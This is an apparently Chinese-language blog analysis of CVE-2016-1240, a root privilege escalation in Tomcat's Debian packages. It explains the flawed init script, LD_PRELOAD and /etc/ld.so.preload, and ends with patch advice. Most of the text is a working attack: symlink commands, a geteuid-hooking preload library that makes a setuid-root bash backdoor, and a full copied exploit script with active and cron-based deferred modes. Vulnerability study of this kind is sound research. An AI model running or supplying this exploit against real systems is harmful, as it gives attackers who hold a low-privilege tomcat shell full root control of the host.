前幾天刷Freebuf的時候發現了在國慶期間爆了一個Tomcat本地提權漏洞，乍一看漏洞利用指令碼是一個shell批處理，想著也不會太難，就抱著學習的目的試著做了分析。以下是本人的分析學習總結。

0x0 漏洞描述

    Debian系統的Linux上管理員通常利用apt-get進行包管理，CVE-2016-1240這一漏洞其問題出在Tomcat的deb包中,使 deb包安裝的Tomcat程式會自動為管理員安裝一個啟動指令碼：/etc/init.d/tomcat<版本號>.sh。利用該指令碼，可導致攻擊者通過低許可權的Tomcat使用者獲得系統root許可權。

    這次出問題的地方如下：

	# Run the catalina.sh script as a daemon
	set +e
	touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
	chown $TOMCAT6_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out
 

    這個啟動指令碼首先建立了一個Tomcat的日誌檔案，然後將該日誌檔案的所屬使用者更改為Tomcat預設的低許可權使用者（守護程序使用者）。

    乍一看似乎沒什麼問題。我們能夠從上面的程式碼得出三點：

        1.這個指令碼執行時的許可權必然是root許可權；

        2.使用touch命令建立檔案，此時存在檔案存在、不存在、存在為符號連結等等的情況，當檔案為符號連結時會預設地對連結的檔案進行操作。

        3.指令碼執行完畢後Tomcat伺服器啟動，此時catalina.out這個log檔案的所屬使用者為tomcat，所屬組為root。

    這就給漏洞利用創造了可能。

0x1 基礎知識

    在具體的利用之前我們還需要提高下自己的知識水平。首先來了解一個Linux的特性：Windows和Linux系統都支援應用程式在執行時進行動態連結庫函式，以提供強大的擴充套件能力。例如，當一個程式使用了dlopen函式時，Linux會在執行時連結libdl.so這個庫來得到dlopen函式的可執行程式碼並且執行。檢視一個程式在執行時需要動態連結哪些庫可以通過ldd命令來檢視。

    Linux提供了一種可以在執行時過載/覆蓋呼叫預設函式的環境變數，即LD_PRELOAD。相信玩過Linux的碼友都不會陌生，在解決sublime支援基於fcitx的輸入法（如搜狗輸入法）的問題時，就使用了這個環境變數來解決問題。

    LD_PRELOAD可以影響程式執行時的連結，它允許你定義在程式執行前優先載入動態連結庫。這個功能主要用來有選擇性的載入不同動態連結庫中相同函式。通過這個環境變數，我們可以在主程式和其動態連結庫的中間載入別的動態連結庫，甚至覆蓋正常的函式庫。

    此外，Linux強大的許可權控制機制和功能也並非堅不可摧。瞭解Linux系統的朋友們都知道除了rwx之外還有一種重要的許可權，即s。linux系統中每個程序都有2個ID，分別為使用者ID（uid）和有效使用者ID（euid），UID一般表示程序的建立者（屬於哪個使用者建立），而EUID表示程序對於檔案和資源的訪問許可權（具備等同於哪個使用者的許可權）。即真實的程序許可權是有EUID標註的而非UID。當一個可執行檔案的許可權設定了set-user-ID位，那麼它在執行時，程序的euid就是程式檔案所屬使用者的ID！最直接的例子，可以看看sudo這個程式的檔案許可權：

    所以當執行sudo程式的時候，我們可以以它所屬使用者的許可權，即root（0）來作業系統。因此，一個最常見的提權思路，即為控制sudo的執行思路，繞過或者更改驗證而直接執行程式碼。

    結合LD_PRELOAD環境變數，似乎已經漸漸地有了思路。sudo的執行過程中必然會用到getuid或者setuid這種函式（檢視一個可執行程式需要引用哪些外部函式可以使用readelf命令），由於sudo程式只要裝載進記憶體中它的euid必然是root，那麼在執行驗證之前那麼我們使用LD_PRELOAD來覆蓋要載入的getuid函式，就可以繞過驗證使用root許可權來執行程式碼了。

    想象是美好的現實總是殘酷的。事實上這個漏洞在2014年2月已經被悄悄地修復了。sudo現在已經不會接收通過命令列傳遞而來的環境變數。詳細分析見：我是怎麼通過sudo獲取root許可權的
然而這樣就沒辦法了嗎？不要灰心，再來複習一下Linux載入動態庫的方法：從 ld.so(8) Man Page可以查到共享庫路徑的搜尋順序:

1. 首先在環境變數 LD_LIBRARY_PATH 所記錄的路徑中查詢。
2. 然後從快取檔案 /etc/ld.so.cache 中查詢。這個快取檔案由 ldconfig 命令讀取配置檔案 /etc/ld.so.conf 之後生成。
3. 如果上述步驟都找不到,則到預設的系統路徑中查詢,先是/usr/lib然後是/lib

    事實上以上步驟是查詢預設需要載入的動態庫，我們注意一個關鍵點，/etc/ld.so.cache可以控制動態庫的查詢方式！事實上我們也沒必要那麼麻煩去修改這個檔案，因為稍微修改錯了可能系統整個就掛掉了，這裡只是提一下。我們還可以通過另一種方式來覆蓋程式載入的動態庫中的函式，即通過/etc/ld.so.preload檔案

    通常情況下在Linux各個發行版中都不存在該檔案，而該檔案由於處在/etc目錄中，建立或者修改都需要root許可權，從一定程度上也保證了安全性。那麼/etc/ld.so.preload和LD_PRELOAD有什麼區別呢？

    在Linux核心的ELF載入器elf/rtld.c原始檔中提到：

1475   /* We have two ways to specify objects to preload: via environment
1476      variable and via the file /etc/ld.so.preload.  The latter can also
1477      be used when security is enabled.  */
1478   assert (*first_preload == NULL);
1479   struct link_map **preloads = NULL;
1480   unsigned int npreloads = 0;
1481 
1482   if (__glibc_unlikely (preloadlist != NULL))
1483     {
1484       /* The LD_PRELOAD environment variable gives list of libraries
1485          separated by white space or colons that are loaded before the
1486          executable's dependencies and prepended to the global scope
1487          list.  If the binary is running setuid all elements
1488          containing a '/' are ignored since it is insecure.  */
1489       char *list = strdupa (preloadlist);
1490       char *p;
1491 
1492       HP_TIMING_NOW (start);
1493 
1494       /* Prevent optimizing strsep.  Speed is not important here.  */
1495       while ((p = (strsep) (&list, " :")) != NULL)
1496         if (p[0] != '\0'
1497             && (__builtin_expect (! __libc_enable_secure, 1)
1498                 || strchr (p, '/') == NULL))
1499           npreloads += do_preload (p, main_map, "LD_PRELOAD");
1500 
1501       HP_TIMING_NOW (stop);
1502       HP_TIMING_DIFF (diff, start, stop);
1503       HP_TIMING_ACCUM_NT (load_time, diff);
1504     }
1505 
1506   /* There usually is no ld.so.preload file, it should only be used
1507      for emergencies and testing.  So the open call etc should usually
1508      fail.  Using access() on a non-existing file is faster than using
1509      open().  So we do this first.  If it succeeds we do almost twice
1510      the work but this does not matter, since it is not for production
1511      use.  */
1512   static const char preload_file[] = "/etc/ld.so.preload";
1513   if (__glibc_unlikely (__access (preload_file, R_OK) == 0))
1514     {
1515       /* Read the contents of the file.  */
1516       file = _dl_sysdep_read_whole_file (preload_file, &file_size,
1517                                          PROT_READ | PROT_WRITE);
1518       if (__glibc_unlikely (file != MAP_FAILED))
1519         {
1520           /* Parse the file.  It contains names of libraries to be loaded,
1521              separated by white spaces or `:'.  It may also contain
1522              comments introduced by `#'.  */
1523           char *problem;
1524           char *runp;
1525           size_t rest;
1526 
1527           /* Eliminate comments.  */
1528           runp = file;
1529           rest = file_size;
1530           while (rest > 0)
1531             {
1532               char *comment = memchr (runp, '#', rest);
1533               if (comment == NULL)
1534                 break;
1535 
1536               rest -= comment - runp;
1537               do
1538                 *comment = ' ';
1539               while (--rest > 0 && *++comment != '\n');
1540             }
1541 
1542           /* We have one problematic case: if we have a name at the end of
1543              the file without a trailing terminating characters, we cannot
1544              place the \0.  Handle the case separately.  */
1545           if (file[file_size - 1] != ' ' && file[file_size - 1] != '\t'
1546               && file[file_size - 1] != '\n' && file[file_size - 1] != ':')
1547             {
1548               problem = &file[file_size];
1549               while (problem > file && problem[-1] != ' '
1550                      && problem[-1] != '\t'
1551                      && problem[-1] != '\n' && problem[-1] != ':')
1552                 --problem;
1553 
1554               if (problem > file)
1555                 problem[-1] = '\0';
1556             }
1557           else
1558             {
1559               problem = NULL;
1560               file[file_size - 1] = '\0';
1561             }
1562 
1563           HP_TIMING_NOW (start);
1564 
1565           if (file != problem)
1566             {
1567               char *p;
1568               runp = file;
1569               while ((p = strsep (&runp, ": \t\n")) != NULL)
1570                 if (p[0] != '\0')
1571                   npreloads += do_preload (p, main_map, preload_file);
1572             }
1573 
1574           if (problem != NULL)
1575             {
1576               char *p = strndupa (problem, file_size - (problem - file));
1577 
1578               npreloads += do_preload (p, main_map, preload_file);
1579             }
1580 
1581           HP_TIMING_NOW (stop);
1582           HP_TIMING_DIFF (diff, start, stop);
1583           HP_TIMING_ACCUM_NT (load_time, diff);
1584 
1585           /* We don't need the file anymore.  */
1586           __munmap (file, file_size);
1587         }
1588     }
1589 

    “我們有兩種方式來控制ELF物件的預載入：通過環境變數和通過/etc/ld.so.preload檔案。第二種方法在具備安全性要求的程式中依然可用。但是ld.so.preload檔案通常不存在，它應該僅僅用於緊急和測試情況。”

    也就是說，我們在/etc/ld.so.preload檔案中加入一個so路徑，那麼elf程式在執行的時候都必然會去載入這個so並且優先使用裡面的函式！

0x2 漏洞利用

    當我們獲得一個安裝有tomcat的shell時，通常情況下是通過Web漏洞得到的主機使用者許可權，因此我們當前的使用者就是tomcat。這就是說我們能夠更改所屬使用者為tomcat的catalina.out這個log檔案的內容和屬性。更改內容當然沒什麼用了，這裡要做的就是更改這個檔案的屬性。預設地，由於這個檔案歸屬於tomcat，因此我們可以直接刪除掉它。

rm -f /var/log/tomcat/catalina.out

    上面的日誌檔案路徑是預設情況下的路徑，根據實際情況不同可能需要更改。

    然後建立一個指向/etc/ld.so.preload的符號連結。

ln -s /etc/ld.so.preload /var/log/tomcat/catalina.out

    這樣當Tomcat服務重啟時，系統預設重新執行本文最上面的那部分指令碼，由於此時tomcat的日誌檔案指向了/etc/ld.so.preload檔案，而該檔案並不存在，所以touch命令後會使用root許可權建立該檔案，然後再將其的所屬使用者更改為tomcat。之後我們就可以寫一個so來覆蓋系統的getuid方法了！

/*filename: preload.c*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("/tmp/backdoor", 0, 0);
        chmod("/tmp/backdoor", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}

這個so覆蓋了libc庫函式的geteuid函式，其中的主要功能是將/tmp/backdoor檔案的許可權也置為rws。這個檔案可以是系統/bin/bash的副本。測試一下效果，編譯後執行如圖：

EXP：（freebuf直接複製的）

#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
# This exploit targets Tomcat (versions 6, 7 and 8) packaging on 
# Debian-based distros including Debian, Ubuntu etc.
# It allows attackers with a tomcat shell (e.g. obtained remotely through a 
# vulnerable java webapp, or locally via weak permissions on webapps in the 
# Tomcat webroot directories etc.) to escalate their privileges to root.
#
# Usage:
# ./tomcat-rootprivesc-deb.sh path_to_catalina.out [-deferred]
#
# The exploit can used in two ways:
#
# -active (assumed by default) - which waits for a Tomcat restart in a loop and instantly
# gains/executes a rootshell via ld.so.preload as soon as Tomcat service is restarted. 
# It also gives attacker a chance to execute: kill [tomcat-pid] command to force/speed up
# a Tomcat restart (done manually by an admin, or potentially by some tomcat service watchdog etc.)
#
# -deferred (requires the -deferred switch on argv[2]) - this mode symlinks the logfile to 
# /etc/default/locale and exits. It removes the need for the exploit to run in a loop waiting. 
# Attackers can come back at a later time and check on the /etc/default/locale file. Upon a 
# Tomcat restart / server reboot, the file should be owned by tomcat user. The attackers can
# then add arbitrary commands to the file which will be executed with root privileges by 
# the /etc/cron.daily/tomcatN logrotation cronjob (run daily around 6:25am on default 
# Ubuntu/Debian Tomcat installations).
#
# See full advisory for details at:
# http://legalhackers.com/advisories/Tomcat-DebPkgs-Root-Privilege-Escalation-Exploit-CVE-2016-1240.html
#
# Disclaimer:
# For testing purposes only. Do no harm.
#

BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"

function cleanexit {
    # Cleanup 
    echo -e "\n[+] Cleaning up..."
    rm -f $PRIVESCSRC
    rm -f $PRIVESCLIB
    rm -f $TOMCATLOG
    touch $TOMCATLOG
    if [ -f /etc/ld.so.preload ]; then
        echo -n > /etc/ld.so.preload 2>/dev/null
    fi
    echo -e "\n[+] Job done. Exiting with code $1 \n"
    exit $1
}

function ctrl_c() {
        echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation."
    cleanexit 0
}

#intro 
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m"

# Args
if [ $# -lt 1 ]; then
    echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
    exit 3
fi
if [ "$2" = "-deferred" ]; then
    mode="deferred"
else
    mode="active"
fi

# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the following privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
    echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
    exit 3
fi

# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
    echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exist. Try again.\n"
    exit 3
fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"

# [ Deferred exploitation ]

# Symlink the log file to /etc/default/locale file which gets executed daily on default
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
    rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
    if [ $? -ne 0 ]; then
        echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
        cleanexit 3
    fi
    echo -e  "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
    echo -e  "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale`"
    echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After the Tomcat restart / system reboot"
    echo -ne "\n    you'll be able to add arbitrary commands to the file which will get executed with root privileges"
    echo -ne "\n    at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. See also -active mode if you can't wait ;)
 \n\n"
    exit 0
fi

# [ Active exploitation ]

trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
    static uid_t  (*old_geteuid)();
    old_geteuid = dlsym(RTLD_NEXT, "geteuid");
    if ( old_geteuid() == 0 ) {
        chown("$BACKDOORPATH", 0, 0);
        chmod("$BACKDOORPATH", 04777);
        unlink("/etc/ld.so.preload");
    }
    return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
    echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
    cleanexit 2;
fi

# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"

# Safety check
if [ -f /etc/ld.so.preload ]; then
    echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
    cleanexit 2
fi

# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
    echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
    cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"

# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e  "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat user) if needed ;)
 "
while :; do 
    sleep 0.1
    if [ -f /etc/ld.so.preload ]; then
        echo $PRIVESCLIB > /etc/ld.so.preload
        break;
    fi
done

# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomcat privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"

# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null

# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then 
    echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
    echo -e "\n\033[94mPlease tell me you're seeing this too ;)
  \033[0m"
else
    echo -e "\n[!] Failed to get root"
    cleanexit 2
fi

# Execute the rootshell
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p

# Job done.
cleanexit 0

0x3 修復建議

    目前，Debian、Ubuntu等相關作業系統廠商已修復並更新受影響的Tomcat安裝包。受影響使用者可採取以下解決方案：

    1、更新Tomcat伺服器版本：
    （1）針對Ubuntu公告連結
http://www.ubuntu.com/usn/usn-3081-1/
    （2）針對Debian公告連結
https://lists.debian.org/debian-security-announce/2016/msg00249.html
https://www.debian.org/security/2016/dsa-3669
https://www.debian.org/security/2016/dsa-3670
    2、加入-h引數防止其他檔案所有者被更改，即更改Tomcat的啟動指令碼為：

chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out